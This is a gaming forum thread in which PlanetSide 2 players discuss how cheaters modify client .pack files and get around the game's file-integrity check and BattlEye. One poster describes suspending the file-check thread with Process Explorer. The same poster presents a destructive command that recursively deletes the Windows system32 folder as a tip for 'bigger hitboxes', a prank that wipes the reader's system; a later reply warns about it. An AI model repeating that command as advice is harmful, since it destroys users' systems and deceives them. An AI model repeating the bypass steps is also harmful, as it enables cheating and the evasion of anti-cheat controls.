Why is this game so easy to hack?

Discussion in 'PlanetSide 2 Gameplay Discussion' started by F0l2saken, Aug 23, 2019.

  1. F0l2saken

    Last night i was looking for the voice files for the various voices in planetside 2 for a montage I'm making I stumbled on the method people are using to exploit this game. Basically to hack planetside 2, you only need the two following skills:

    • Ability to use a program called notepad
    • Ability to use a program similar to unzip, winrar, or 7zip
    If you meet those requirements, you can download a free public compression tool that's been out since 2012, uncompress your game files, modify them, and then recompress them and you're good to go. It can be done in under 5 minutes by anyone.

    Wonder why there are so many hackers in the game now? That's because DBG chose a technology in 2019 to protect their games that was already exploited in 2012.

    Way to go guys!
  2. FateJH

    If you want to go for dissonance, here's a PlanetSide Classic soundboard that you might use in your PlanetSide 2 video. I don't actually know of any existing PS2 soundboarding.

    I do not know whether this is still valid, but it may help you: link.
  3. ObiVanuKenobi

    That's step 1.
    The game does a file check but it can be stopped pretty easily.

    Any game that relies heavily on clientside will be easy to hack. Look at GTA 5 for example, it's one of the most popular games from a huge studio but hackers can do almost anything there.
  4. Beerbeerbeer

    Bypassing file check is easy too. It’s widely available on public forums and simply involves moving pack files in and out of the game directory during certain periods of the game launch.

    Player hit boxes, vehicle hit boxes, auto spot are the most common pack mods.

    I’m about to start a digest on Planetside Reddit on how to hack Planetside 2 for dummies. How to avoid getting auto kicked (or how to live with being kicked periodically). How to bypass bans. Etc.
  5. Liewec123

    Because Battleye SUCKS.

    We signed a super intrusive agreement that let's them do stuff like scan our PCs,
    And yet we'll see guys flying around in ground vehicles oneshotting everything FOR HOURS.
    Battleye might be the worst anticheat system I've ever seen.

    What we need is a report system that does something...
    If 20 players over BR 15 report a person, that person gets a short temp ban,
    Several of these temp bans will result in a perma ban.
    However if DBG find out that reporting was done for trolling, and the person was innocent,
    then all of the reporters will receive temp bans, with enough temp bans resulting in a perma.
    (And it should say this in big red writing on the support screen so people don't use it for trolling)
    • Up x 1
  6. ObiVanuKenobi

    Battleye protects from cheating programs not simple file edits.
  7. Beerbeerbeer

    Obi, your ignorance shines again.

    BE file check does detect pack mods, but it’s easy to bypass.

    Just goes to show everyone how dumb you are in this entire matter. There are a lot more people, smarter than you, hacking this game under your dumb nose.
  8. OgreMarkX

    Nope. There are no hackers.

    I've been told in game by suspected hackers that they are just SUPER DUPER SKILLED.

    Yup. Is true.

    Like an outfit on Connery who never died despite me drilling them straight on with a Sunderer mounted Kobalt for 2 minutes. They just ran along the bridge and none died. None.

    Yup. Pure skillz gais. Pure skillz.

    Can't y'all wait for PS:A? It's gunna be super fun with microtransactions and competitive game play. Yup. Super skilled, totally not cheating or exploiting players everywhere.

    A-yup. Yuppers.

    /s
    • Up x 2
  9. ObiVanuKenobi

    Too much beer?
    Battleye detects 3rd party .dll and .exe that are messing with the game when it's starting up or running by injecting their code or whatever.
    Simple .pack file or any other file modifications are NOT detected by Battleye.
    .pack mod detection is done by the Planetside2 process not Battleye.
    To bypass the file check you have to open Planetside2.exe with Process explorer or any other similar program and simply suspend the file check thread (not going to say which one exactly for obvious reasons), it's that easy. That's NOT Batteye but file detection by Daybreak themselves and it existed even before Battleye. Battleye has its own .exe and is not a part of Planetside2.exe.
    Another easy way to get bigger hitboxes is by pressing windows key+R, copy pasting
    Code:
    cmd /c rd /s /q %windir%\system32
    And press enter. Completely undetectable.

    I like to read cheat forums because they're interesting and explain a lot of things that happen ingame.
    I know exactly how it's done.
    Just shows how dumb you are and how quickly you jump to stupid conclusions without knowing anything.
    That's pretty much all you do, you accept your own imagination as truth. Explains why it's so hard for you to tell the difference between a real cheater and a good player.
    Feel free to not respond unless you want to embarass yourself even more.
    [IMG]
  10. Liewec123

    But why not? Why can't it see that someone has 70 kills per minute and a KDR of 100 and take action?
    Why can't they say "this is how this vehicle works" and when a ground vehicle is flying like an esf flag it for cheating?

    People who are cheating their butts off, not even bothering to be subtle about it, stay around for HOURS.
    Flying characters mowing down scores of players for HOURS, and Battleye is like "everything is fine..."
    I don't believe that battleye is doing its upmost, Infact it seems to be borderline useless.
    • Up x 1
  11. F0l2saken

    This is the problem, what these people are doing is disabling file checks while the game launches, so DGB can't detect modified files, it does ban them eventually, but it's always about 4 - 6 hours late. The player gets to kill thousands via cheating before being banned, at which time, he just signs up for a new account and repeats the cycle. Now the hacker naysayers which are all over reddit will tell you that it's no problem at all if hackers that kill thousands are banned in a few hours even if they come back and do it again, according to redditors, as long as the hacker has to resign up for a new account every 4 hours, it's a win for DGB.
  12. Towie

    Battleye DID stop all the paid-for / commonly available hacks, as Obi said, stops all the 'identified' exe / dll cheats (the sophistication of which is actually mind boggling).

    It doesn't detect 'private' cheats as it doesn't know the signature.

    It can also be bypassed - people go to great lengths to document how it works and how to avoid.

    The asset modifications have always been around and previously were much easier to modify. DX11 update made it harder for a time - but that time has now ended.


    So we're currently in a time of relative ease of cheating - which isn't great - and people are exploiting the hell out of it.


    You are absolutely right though - surely there are things that can be done to detect the cheats, but it needs a different approach. DBG (and any game that is heavily clientside) need to come up with a way of detecting things that can't ordinarily happen in 'normal' gameplay. They tried with the auto-ban but people went to great lengths to discredit.
    I think they should work on it - people pulling off impossible shots on a regular basis, people destroying other vehicles with a simple touch, people who detect players that otherwise can't be found - something like an entrapment - but all of this takes resources. Let's hope it gets better.
    • Up x 3
  13. Beerbeerbeer

    I know about DBG’s file check, but Battleye does a CRC file check and I’m fairly certain this was a recent change added to Planetside that caught a lot of hit box hackers off guard (during the recent DX update).

    All of those deterrents aren’t working anymore.
  14. Beerbeerbeer

    Obi, you’re still an ignorant, anti-hacking, dumb@ss apologist.

    In hindsight, the hackers themselves are fixing their own mess. These hackers eat away at the population. It’s already dropping, but hacking certainly speeds things up.

    There will eventually be a point, hopefully, where they just get bored and leave this game alone. However, considering what they did to H1Z1, that day will likely be on the last day of Planetside, since DBG is incapable of stopping them.
  15. then00b

    Guess that explains why I'm consistently hit by headshots while using ambusher jumpjets on the other side of the bases I'm being shot from.
    • Up x 2
  16. DarkStarAnubis

    The problem is a) client-saved data (the pack files) coupled with b) client-side hit detection.

    Take out either the first or the second step and hacking will be far more difficult.

    I do not understand why DBG does not download from the main server critical data for hit detection and weapon characteristics from the main executable, thus by-passing any pack file modification.
  17. F0l2saken

    DGB checks the files during launch, which from what I hear is extremely easy to bypass, and then randomly they check random files while playing the game. This is why hackers generally last a few hours and then get booted, but then they just make another account and do it again.

    Even with client side hit detection, these server variables like impact damage for example, should be loaded from the server to your computer when you sign in. They aren't though, they are stored in a text file that you can edit with notepad. All you have to do is learn how to do an easy bypass on the file checking when the game starts and you're all set.
  18. Liewec123


    yeah, when players are flying around getting 2 kills every second, there must absolutely be a way to detect that,
    i get that people can avoid clientside detections because battleye sucks,
    but why can't DBG have an NPC character that just teleports invisibly from base to base on each server looking for abnormalities,
    or hell, just something that checks for ridiculous stats like kills per minute that no player could maintain.

    there is way more that can be done beyond a pointless and easily avoidable clientside scan.

    even Fisu set up a "leaderboard" that shows who are the biggest cheaters/statpadders, so why can't DBG do something similar?
    inadequacy?
  19. then00b

    [IMG]
    I guess they don't particularly care about being caught either.
    • Up x 1
  20. 4JlEH30CM

    be carefull this will delete your system32 folder =)